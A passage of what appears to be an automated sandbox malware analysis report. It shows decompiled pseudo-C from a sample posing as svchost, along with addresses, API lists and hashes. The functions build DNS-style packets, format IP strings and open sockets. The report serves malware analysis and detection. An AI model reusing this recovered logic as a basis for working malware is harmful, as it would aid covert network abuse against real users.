				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _t138;
				void* _t177;
				signed char _t187;
				signed char _t192;
				void* _t195;
				void* _t253;
				void* _t254;
				signed int _t255;
				void* _t256;

				_t254 = __esi;
				_t253 = __edi;
				_t195 = __ebx;
				_v36 =  *0x429024 ^ _t255;
				_v320 = __ecx;
				_v8 = 0;
				_v12 = 0;
				while(_a4 != 0 && _a12 != 0 && _a16 >= 1 && _a16 <= 3) {
					_t138 = E040070A0(_a4);
					_t256 = _t256 + 4;
					_v296 = _t138;
					if(_v296 >= 1) {
						E04007010(_t253,  &_v292, 0, 0xff);
						_t256 = _t256 + 0xc;
						_t228 =  &_v292;
						_v20 = E04019850(_v320, _a4, _v296,  &_v292, 0xff);
						if(_v20 >= 1) {
							_v300 = 0;
							if(_a16 != 1) {
								if(_a16 != 2) {
									if(_a16 != 3) {
										goto L22;
									} else {
										_v304 =  *0x425260(_a12);
										if(_v304 != 0) {
											_v300 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v304 + 0xc))))));
											_t187 = E0401BA40(4, _a12,  &_v300);
											_t256 = _t256 + 0xc;
											if((_t187 & 0x000000ff) == 0) {
												E0401C2A0(_t253, 4, _a12,  &_v300);
												_t256 = _t256 + 0xc;
											}
											goto L22;
										}
									}
								} else {
									_v300 =  *0x425258(_a12);
									_t192 = E0401BA40(4, _a12,  &_v300);
									_t256 = _t256 + 0xc;
									if((_t192 & 0x000000ff) == 0) {
										E0401C2A0(_t253, 4, _a12,  &_v300);
										_t256 = _t256 + 0xc;
									}
									goto L22;
								}
							} else {
								_v300 = _a12;
								L22:
								_v308 = E04020CE0(0x1000);
								_v32 = _v308;
								E04007010(_t253, _v32, 0, 0x1000);
								_v16 = 0;
								_v28 = 0;
								_v16 = _v32;
								 *_v16 =  *0x4250b4();
								 *(_v16 + 2) =  *(_v16 + 2) & 0x0000007f;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x00000087;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x000000fb;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x000000fd;
								 *(_v16 + 2) =  *(_v16 + 2) | 0x00000001;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x0000007f;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000bf;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000df;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000ef;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000f0;
								 *((short*)(_v16 + 4)) =  *0x425278(1);
								 *((short*)(_v16 + 6)) = 0;
								 *((short*)(_v16 + 8)) = 0;
								 *((short*)(_v16 + 0xa)) = 0;
								E04006CA0(_t195, _t253, _t254, _v32 + 0xc,  &_v292);
								_v28 = _v32 + E04008A9C( &_v292, 0xfe) + 0xd;
								 *_v28 =  *0x425278(_a8 & 0x0000ffff, _v20);
								 *((short*)(_v28 + 2)) =  *0x425278(1);
								_t177 = E04008A9C( &_v292, 0xfe);
								_t256 = _t256 + 0x2c;
								_v24 = _t177 + 0x11;
								_t228 = _v32;
								_v8 = E0401D100(_t195,  *((intOrPtr*)(_v320 + 0x10)), _t253, _t254, _v300, 0x35, _v32, _v24);
								if(_v32 != 0) {
									_t228 = _v32;
									_v312 = _v32;
									E04020CC0(_v312);
									_t256 = _t256 + 4;
									_v32 = 0;
								}
								if(0 != 0) {
									continue;
								}
							}
						} else {
						}
					} else {
					}
					L25:
					if(_v8 == 0 && _v12 != 0) {
						_t228 = _v12;
						_v316 = _v12;
						E04020CC0(_v316);
						_v12 = 0;
					}
					return E04006C8C(_v8, _t195, _v36 ^ _t255, _t228, _t253, _t254);
				}
				goto L25;
			}

0x0401a890
0x0401a890
0x0401a890
0x0401a8a0
0x0401a8a3
0x0401a8a9
0x0401a8b0
0x0401a8b7
0x0401a8d8
0x0401a8dd
0x0401a8e0
0x0401a8ed
0x0401a902
0x0401a907
0x0401a90f
0x0401a92c
0x0401a933
0x0401a93a
0x0401a948
0x0401a95c
0x0401a9a5
0x00000000
0x0401a9a7
0x0401a9b1
0x0401a9be
0x0401a9cd
0x0401a9e0
0x0401a9e5
0x0401a9ed
0x0401a9fc
0x0401aa01
0x0401aa01
0x00000000
0x0401aa04
0x0401a9be
0x0401a95e
0x0401a968
0x0401a97b
0x0401a980
0x0401a988
0x0401a997
0x0401a99c
0x0401a99c
0x00000000
0x0401a99f
0x0401a94a
0x0401a94d
0x0401aa0b
0x0401aa18
0x0401aa24
0x0401aa32
0x0401aa3a
0x0401aa41
0x0401aa4b
0x0401aa57
0x0401aa65
0x0401aa73
0x0401aa81
0x0401aa8f
0x0401aa9d
0x0401aaab
0x0401aab9
0x0401aac7
0x0401aad5
0x0401aae3
0x0401aaf1
0x0401aafa
0x0401ab03
0x0401ab0c
0x0401ab22
0x0401ab45
0x0401ab56
0x0401ab64
0x0401ab74
0x0401ab79
0x0401ab7f
0x0401ab86
0x0401aba1
0x0401aba8
0x0401abaa
0x0401abad
0x0401abba
0x0401abbf
0x0401abc2
0x0401abc2
0x0401abcb
0x00000000
0x00000000
0x0401abcb
0x00000000
0x0401a935
0x00000000
0x0401a8ef
0x0401abd1
0x0401abd5
0x0401abdd
0x0401abe0
0x0401abed
0x0401abf5
0x0401abf5
0x0401ac0c
0x0401ac0c
0x00000000

APIs

_strlen.LIBCMT ref: 0401A8D8
_memset.LIBCMT ref: 0401A902
_memset.LIBCMT ref: 0401AA32
_strnlen.LIBCMT ref: 0401AB36
_strnlen.LIBCMT ref: 0401AB74

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strnlen$_strlen
String ID:
API String ID: 1397555153-0
Opcode ID: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction ID: 9948d87256a1ab2e7e4c421ed80cf7a845357aae833f097959cef4c1dbbed60e
Opcode Fuzzy Hash: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction Fuzzy Hash: 2FB17B75E012499FDB14CF90C881BEEF7B1EF48308F14C19AE8596B391D634AA86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04012D20 Relevance: 7.7, APIs: 5, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04012D20(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _t115;
				intOrPtr _t120;
				intOrPtr _t130;
				void* _t148;
				void* _t151;
				void* _t203;
				void* _t204;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t209;

				_t204 = __esi;
				_t203 = __edi;
				_t151 = __ebx;
				_v76 = __ecx;
				_v8 = 0;
				while(_a4 != 0) {
					_t115 = E040070A0( *((intOrPtr*)(_a4 + 4)));
					_t206 = _t205 + 4;
					_v12 = _t115;
					if(_v12 >= 1) {
						_v16 = 0xffffffff;
						_v28 = 0;
						while(_v28 < _v12) {
							if( *((char*)( *((intOrPtr*)(_a4 + 4)) + _v28)) != 0x3a) {
								_v28 = _v28 + 1;
								continue;
							} else {
								_v16 = _v28;
							}
							break;
						}
						if(_v16 >= 0) {
							_v20 = 0;
							_t29 =  *((intOrPtr*)(_a4 + 4)) + 1; // 0x1
							_t120 = E0401EBC0(_t151, _t203, _t204, _v16 + _t29, _v12 - _v16 + 1, 0x426f4c,  &_v20);
							_t205 = _t206 + 0x10;
							_v24 = _t120;
							if(_v24 > 0 && _v20 != 0) {
								E040228B0(_t151, _t203, _t204, _v20, 4, _v24);
								_t207 = _t205 + 0xc;
								_v40 = _v24 - 1;
								_v44 = 0;
								while(_v44 < _v24) {
									_t148 = E040070A0( *((intOrPtr*)(_v20 + _v44 * 4)));
									_t207 = _t207 + 4;
									_v40 = _t148 + _v40;
									_v44 = _v44 + 1;
								}
								_v60 = E04020CE0(_v40 + 1);
								_v32 = _v60;
								E04007010(_t203, _v32, 0, _v40 + 1);
								_t209 = _t207 + 0x10;
								_v36 = 0;
								_v48 = 0;
								while(_v48 < _v24) {
									_v52 = E040070A0( *((intOrPtr*)(_v20 + _v48 * 4)));
									_push(_v52);
									E04006CA0(_t151, _t203, _t204, _v32 + _v36,  *((intOrPtr*)(_v20 + _v48 * 4)));
									_t209 = _t209 + 0x10;
									_v36 = _v36 + _v52;
									 *((char*)(_v32 + _v36)) = 0x20;
									_v36 = _v36 + 1;
									_v48 = _v48 + 1;
								}
								_t130 = E04020CE0(8);
								_t205 = _t209 + 4;
								_v64 = _t130;
								if(_v64 == 0) {
									_v80 = 0;
								} else {
									_v80 = E0401F4E0(_v64);
								}
								_v8 = _v80;
								E0401FC90(_t151, _v8, _t203, _t204, _v32, _v40);
								_v56 = 0;
								while(_v56 < _v24) {
									if( *((intOrPtr*)(_v20 + _v56 * 4)) != 0) {
										_v68 =  *((intOrPtr*)(_v20 + _v56 * 4));
										E04020CC0(_v68);
										_t205 = _t205 + 4;
										 *((intOrPtr*)(_v20 + _v56 * 4)) = 0x666;
									}
									_v56 = _v56 + 1;
								}
								if(_v20 != 0) {
									_v72 = _v20;
									E04020CC0(_v72);
									_t205 = _t205 + 4;
									_v20 = 0x666;
								}
							}
							if(0 != 0) {
								continue;
							}
						} else {
						}
					} else {
					}
					L35:
					return _v8;
				}
				goto L35;
			}

0x04012d20
0x04012d20
0x04012d20
0x04012d26
0x04012d29
0x04012d30
0x04012d42
0x04012d47
0x04012d4a
0x04012d51
0x04012d58
0x04012d5f
0x04012d71
0x04012d89
0x04012d6e
0x00000000
0x04012d8b
0x04012d8e
0x04012d8e
0x00000000
0x04012d89
0x04012d99
0x04012da0
0x04012dc5
0x04012dca
0x04012dcf
0x04012dd2
0x04012dd9
0x04012df3
0x04012df8
0x04012e01
0x04012e04
0x04012e16
0x04012e28
0x04012e2d
0x04012e33
0x04012e13
0x04012e13
0x04012e47
0x04012e4d
0x04012e5d
0x04012e62
0x04012e65
0x04012e6c
0x04012e7e
0x04012e98
0x04012e9e
0x04012eb0
0x04012eb5
0x04012ebe
0x04012ec7
0x04012ed0
0x04012e7b
0x04012e7b
0x04012ed7
0x04012edc
0x04012edf
0x04012ee6
0x04012ef5
0x04012ee8
0x04012ef0
0x04012ef0
0x04012eff
0x04012f0d
0x04012f12
0x04012f24
0x04012f36
0x04012f41
0x04012f48
0x04012f4d
0x04012f56
0x04012f56
0x04012f21
0x04012f21
0x04012f63
0x04012f68
0x04012f6f
0x04012f74
0x04012f77
0x04012f77
0x04012f63
0x04012f80
0x00000000
0x00000000
0x00000000
0x04012d9b
0x00000000
0x04012d53
0x04012f86
0x04012f8c
0x04012f8c
0x00000000

APIs

_strlen.LIBCMT ref: 04012D42

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction ID: b4162b3583ba2dec2d6c765e4cdbb5ffec497666bde8b264905ccdcb2170b9d4
Opcode Fuzzy Hash: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction Fuzzy Hash: AB81D3B4E01209DBDF04CF98D984AEEB7B2BF48308F2485A9E41577390E735AA45DF91

Uniqueness

Uniqueness Score: -1.00%

Function 04018C40 Relevance: 7.7, APIs: 5, Instructions: 192COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04018D16
codecvt.LIBCPMTD ref: 04018D54
codecvt.LIBCPMTD ref: 04018E16
codecvt.LIBCPMTD ref: 04018E54
codecvt.LIBCPMTD ref: 04018E8C

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction ID: 8ef4f0843c548fec2a10bde5c14a40ad8c72f7d7392924089e823b54c74d7b66
Opcode Fuzzy Hash: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction Fuzzy Hash: E891C774A00208EFDB54DF94C894B9DBBB2FF48354F608259E9156B3A0D775EA82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 040115C0 Relevance: 7.7, APIs: 5, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E040115C0(void* __ebx, unsigned int** __ecx, void* __edi, void* __esi) {
				unsigned int* _v8;
				signed short _v12;
				signed int _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				char _v64;
				unsigned int* _v68;
				intOrPtr _v72;
				unsigned int* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				unsigned int* _v88;
				unsigned int* _v92;
				intOrPtr _v96;
				unsigned int* _v100;
				unsigned int* _v104;
				unsigned int** _v108;
				unsigned int* _v112;
				unsigned int* _v116;
				unsigned int* _t84;
				intOrPtr _t97;
				void* _t99;
				intOrPtr _t103;
				void* _t109;
				void* _t152;
				void* _t153;
				signed int _t154;
				void* _t155;
				void* _t160;

				_t153 = __esi;
				_t152 = __edi;
				_t109 = __ebx;
				_v16 =  *0x429024 ^ _t154;
				_v108 = __ecx;
				_v8 = 0;
				do {
					if(( *_v108)[1] == 0) {
						goto L7;
					} else {
						_t103 = E040070A0(( *_v108)[1]);
						_t155 = _t155 + 4;
						_v80 = _t103;
						if(_v80 <= 0) {
							goto L7;
						} else {
							_v84 = E04020CE0(8);
							if(_v84 == 0) {
								_v112 = 0;
							} else {
								_v112 = E0401F4E0(_v84);
							}
							_v8 = _v112;
							_t149 =  *_v108;
							E0401FC90(_t109, _v8, _t152, _t153, ( *_v108)[1], _v80);
						}
					}
					break;
					L7:
					_v88 = E04020CE0(0x11);
					_v68 = _v88;
					E04007010(_t152, _v68, 0, 0x11);
					 *0x4251f8(_v68, 0x10, 0x427088, ( *( *_v108) >> 0x00000010 & 0xffff) >> 0x00000008 & 0xff,  *( *_v108) >> 0x00000010 & 0xff, ( *( *_v108) & 0xffff) >> 0x00000008 & 0xff,  *( *_v108) & 0xff);
					_t84 = E04020CE0(0x401);
					_t155 = _t155 + 0x30;
					_v92 = _t84;
					_v76 = _v92;
					_v12 = 0x6987;
					_v32 = 2;
					_v28 =  *0x425258(_v68);
					_v30 =  *0x425278(_v12 & 0x0000ffff);
					_t149 =  &_v64;
					_v72 =  *0x425250( &_v32, 0x10, _v76, 0x401,  &_v64, 0x20, 8);
					if(_v72 == 0) {
						_t97 = E04020CE0(8);
						_t160 = _t155 + 4;
						_v96 = _t97;
						if(_v96 == 0) {
							_v116 = 0;
						} else {
							_v116 = E0401F4E0(_v96);
						}
						_t149 = _v116;
						_v8 = _v116;
						_t99 = E040070A0(_v76);
						_t155 = _t160 + 4;
						E0401FC90(_t109, _v8, _t152, _t153, _v76, _t99);
					}
					if(_v76 != 0) {
						_t149 = _v76;
						_v100 = _v76;
						E04020CC0(_v100);
						_t155 = _t155 + 4;
						_v76 = 0x666;
					}
					if(_v68 != 0) {
						_v104 = _v68;
						_t149 = _v104;
						E04020CC0(_v104);
						_t155 = _t155 + 4;
						_v68 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t109, _v16 ^ _t154, _t149, _t152, _t153);
			}

0x040115c0
0x040115c0
0x040115c0
0x040115cd
0x040115d0
0x040115d3
0x040115da
0x040115e3
0x00000000
0x040115e5
0x040115ee
0x040115f3
0x040115f6
0x040115fd
0x00000000
0x040115ff
0x04011609
0x04011610
0x0401161f
0x04011612
0x0401161a
0x0401161a
0x04011629
0x04011633
0x0401163c
0x0401163c
0x040115fd
0x00000000
0x04011646
0x04011650
0x04011656
0x04011661
0x040116e5
0x040116f3
0x040116f8
0x040116fb
0x04011701
0x04011709
0x04011712
0x04011720
0x0401172e
0x04011736
0x0401174f
0x04011756
0x0401175a
0x0401175f
0x04011762
0x04011769
0x04011778
0x0401176b
0x04011773
0x04011773
0x0401177f
0x04011782
0x04011789
0x0401178e
0x04011799
0x04011799
0x040117a2
0x040117a4
0x040117a7
0x040117ae
0x040117b3
0x040117b6
0x040117b6
0x040117c1
0x040117c6
0x040117c9
0x040117cd
0x040117d2
0x040117d5
0x040117d5
0x040117dc
0x040117f4

APIs

_strlen.LIBCMT ref: 040115EE
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011615
_memset.LIBCMT ref: 04011661
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401176E
_strlen.LIBCMT ref: 04011789

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__strlenstd::_$_memset
String ID:
API String ID: 2716363198-0
Opcode ID: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction ID: 26b02190921c373d841446d0dad60ddd34c3bc106182d84ff6dd49c6febfbb10
Opcode Fuzzy Hash: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction Fuzzy Hash: CB7128B4E00318DFEB14DFA4D884BADB7B1FF48308F248128E609AB390D775A945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04012470 Relevance: 7.7, APIs: 5, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04012470(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr* _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t99;
				void* _t101;
				void* _t108;
				void* _t156;
				void* _t157;
				signed int _t158;
				void* _t159;
				void* _t163;

				_t157 = __esi;
				_t156 = __edi;
				_t108 = __ebx;
				_v16 =  *0x429024 ^ _t158;
				_v80 = __ecx;
				_v8 = 0;
				do {
					_v36 =  *0x426fa8;
					_v32 =  *0x426fac;
					_v28 =  *0x426fb0;
					_v24 =  *0x426fb4;
					_v20 =  *0x426fb8;
					_t74 = E04020CE0(8);
					_t159 = _t159 + 4;
					_v52 = _t74;
					if(_v52 == 0) {
						_v84 = 0;
					} else {
						_v84 = E0401F4E0(_v52);
					}
					_v12 = _v84;
					E0401FC90(_t108, _v12, _t156, _t157,  &_v36, 0x10);
					if((E04015C60(_t108, _v80, _v84, _v12) & 0x000000ff) != 0) {
						_v44 = 0;
						_t83 = E0401BCB0(_t156, 4,  *_v12,  &_v44);
						_t159 = _t159 + 0xc;
						_v40 = _t83;
						if(_v40 > 0) {
							_v56 = E04020CE0(0x11);
							_v48 = _v56;
							E04007010(_t156, _v48, 0, 0x11);
							 *0x4251f8(_v48, 0x10, 0x426fbc,  *( *_v44 + 4) & 0xff, ( *( *_v44 + 4) & 0xffff) >> 0x00000008 & 0xff,  *( *_v44 + 4) >> 0x00000010 & 0xff, ( *( *_v44 + 4) >> 0x00000010 & 0xffff) >> 0x00000008 & 0xff);
							_t99 = E04020CE0(8);
							_t163 = _t159 + 0x30;
							_v60 = _t99;
							if(_v60 == 0) {
								_v88 = 0;
							} else {
								_v88 = E0401F4E0(_v60);
							}
							_v8 = _v88;
							_t101 = E040070A0(_v48);
							_t159 = _t163 + 4;
							E0401FC90(_t108, _v8, _t156, _t157, _v48, _t101);
							if(_v48 != 0) {
								_v64 = _v48;
								E04020CC0(_v64);
								_t159 = _t159 + 4;
								_v48 = 0x666;
							}
							if(_v44 != 0) {
								_v68 = _v44;
								E04020CC0(_v68);
								_t159 = _t159 + 4;
								_v44 = 0x666;
							}
						}
					}
					if(_v12 != 0) {
						_v76 = _v12;
						_v72 = _v76;
						if(_v72 == 0) {
							_v92 = 0;
						} else {
							_v92 = E04004EA0(_v72, 1);
						}
						_v12 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t108, _v16 ^ _t158, 0, _t156, _t157);
			}

0x04012470
0x04012470
0x04012470
0x0401247d
0x04012480
0x04012483
0x0401248a
0x0401248f
0x04012498
0x040124a1
0x040124a9
0x040124b2
0x040124b7
0x040124bc
0x040124bf
0x040124c6
0x040124d5
0x040124c8
0x040124d0
0x040124d0
0x040124df
0x040124eb
0x04012501
0x04012507
0x0401251a
0x0401251f
0x04012522
0x04012529
0x04012539
0x0401253f
0x0401254a
0x040125d3
0x040125de
0x040125e3
0x040125e6
0x040125ed
0x040125fc
0x040125ef
0x040125f7
0x040125f7
0x04012606
0x0401260d
0x04012612
0x0401261d
0x04012626
0x0401262b
0x04012632
0x04012637
0x0401263a
0x0401263a
0x04012645
0x0401264a
0x04012651
0x04012656
0x04012659
0x04012659
0x04012645
0x04012529
0x04012664
0x04012669
0x0401266f
0x04012676
0x04012687
0x04012678
0x04012682
0x04012682
0x0401268e
0x0401268e
0x04012695
0x040126ad

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040124CB
_memset.LIBCMT ref: 0401254A
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040125F2
_strlen.LIBCMT ref: 0401260D
codecvt.LIBCPMTD ref: 0401267D

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_$_memset_strlencodecvt
String ID:
API String ID: 2459447590-0
Opcode ID: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction ID: 2d0a0b2a9c0e8f4d9cfb9b2fe2ef08dc32606c7a33a305a0369b3e2b17122581
Opcode Fuzzy Hash: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction Fuzzy Hash: 837138B0E002199FEB14DFA8D984BEDBBB1FF88318F148169E405BB390D775A944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 040135C0 Relevance: 7.6, APIs: 5, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E040135C0(void* __ebx, intOrPtr* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v9;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr* _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _t81;
				intOrPtr _t92;
				intOrPtr _t95;
				void* _t98;
				void* _t128;

				_t98 = __ebx;
				_v52 = __ecx;
				_v8 = 0;
				_v9 = 0;
				while(_a4 != 0) {
					if( *((intOrPtr*)( *_v52 + 0x2c)) >= 1) {
						_v16 = 0;
						while(_v16 <  *((intOrPtr*)( *_v52 + 0x2c))) {
							_t81 = E04020CE0(8);
							_t128 = _t128 + 4;
							_v28 = _t81;
							if(_v28 == 0) {
								_v60 = 0;
							} else {
								_v60 = E0401F4E0(_v28);
							}
							_v20 = _v60;
							E0401F9F0(_t98, _v20, _a4,  *((intOrPtr*)(_a4 + 0x1c)),  *((intOrPtr*)(_a4 + 0x20)), 0);
							 *((intOrPtr*)(_v52 + 0x10)) = _v16;
							if((E04015C60(_t98, _v52, _v16, _v20) & 0x000000ff) != 0) {
								if(_v8 == 0) {
									_t92 = E04020CE0(8);
									_t128 = _t128 + 4;
									_v32 = _t92;
									if(_v32 == 0) {
										_v64 = 0;
									} else {
										_v64 = E0401F4E0(_v32);
									}
									_v8 = _v64;
								}
								E0401F9F0(_t98, _v8, _v20,  *_v20,  *((intOrPtr*)(_v20 + 4)), 0);
							} else {
								_v9 = 1;
							}
							if(_v20 != 0) {
								_v40 = _v20;
								_v36 = _v40;
								if(_v36 == 0) {
									_v68 = 0;
								} else {
									_v68 = E04004EA0(_v36, 1);
								}
								_v20 = 0x666;
							}
							if((_v9 & 0x000000ff) == 0) {
								_v16 = _v16 + 1;
								continue;
							} else {
							}
							goto L30;
						}
					} else {
						_t95 = E04020CE0(8);
						_t128 = _t128 + 4;
						_v24 = _t95;
						if(_v24 == 0) {
							_v56 = 0;
						} else {
							_v56 = E0401F4E0(_v24);
						}
						_v8 = _v56;
						 *((intOrPtr*)(_v8 + 4)) = 0;
					}
					L30:
					if((_v9 & 0x000000ff) != 0) {
						if(_v8 != 0) {
							_v48 = _v8;
							_v44 = _v48;
							if(_v44 == 0) {
								_v72 = 0;
							} else {
								_v72 = E04004EA0(_v44, 1);
							}
							_v8 = 0x666;
						}
						_v8 = 0;
					}
					if(0 != 0) {
						continue;
					}
					L38:
					return _v8;
				}
				goto L38;
			}

0x040135c0
0x040135c6
0x040135c9
0x040135d0
0x040135d4
0x040135e8
0x04013626
0x04013638
0x0401364b
0x04013650
0x04013653
0x0401365a
0x04013669
0x0401365c
0x04013664
0x04013664
0x04013673
0x04013689
0x04013694
0x040136a8
0x040136b4
0x040136b8
0x040136bd
0x040136c0
0x040136c7
0x040136d6
0x040136c9
0x040136d1
0x040136d1
0x040136e0
0x040136e0
0x040136f5
0x040136aa
0x040136aa
0x040136aa
0x040136fe
0x04013703
0x04013709
0x04013710
0x04013721
0x04013712
0x0401371c
0x0401371c
0x04013728
0x04013728
0x04013735
0x04013635
0x00000000
0x00000000
0x04013737
0x00000000
0x04013735
0x040135ea
0x040135ec
0x040135f1
0x040135f4
0x040135fb
0x0401360a
0x040135fd
0x04013605
0x04013605
0x04013614
0x0401361a
0x0401361a
0x0401373e
0x04013744
0x0401374a
0x0401374f
0x04013755
0x0401375c
0x0401376d
0x0401375e
0x04013768
0x04013768
0x04013774
0x04013774
0x0401377b
0x0401377b
0x04013784
0x00000000
0x00000000
0x0401378a
0x04013790
0x04013790
0x00000000

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013600
codecvt.LIBCPMTD ref: 04013763

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_codecvtstd::_
String ID:
API String ID: 3817610042-0
Opcode ID: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction ID: 940426154ba22623eb4585301945e88a2baf8d43e6e943a63c159829dd530f10
Opcode Fuzzy Hash: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction Fuzzy Hash: 355105B4E01219EFEB14DF94D594BEEBBB1BB48308F208169E8057B3A0D7756A44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04020920 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E04020920(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v40;
				short _v42;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _t101;
				intOrPtr _t102;
				intOrPtr _t106;
				void* _t126;
				intOrPtr _t140;
				void* _t162;
				void* _t163;
				signed int _t164;
				void* _t165;

				_t163 = __esi;
				_t162 = __edi;
				_t126 = __ebx;
				_v28 =  *0x429024 ^ _t164;
				_v64 = __ecx;
				_v8 = 0;
				do {
					_v16 = 0xffffffff;
					_v12 = 0;
					while(_a4 != 0 && (_a8 & 0x0000ffff) != 0) {
						_v16 =  *0x425284(2, 1, 6, 0, 0, 1);
						__eflags = _v16 - 0xffffffff;
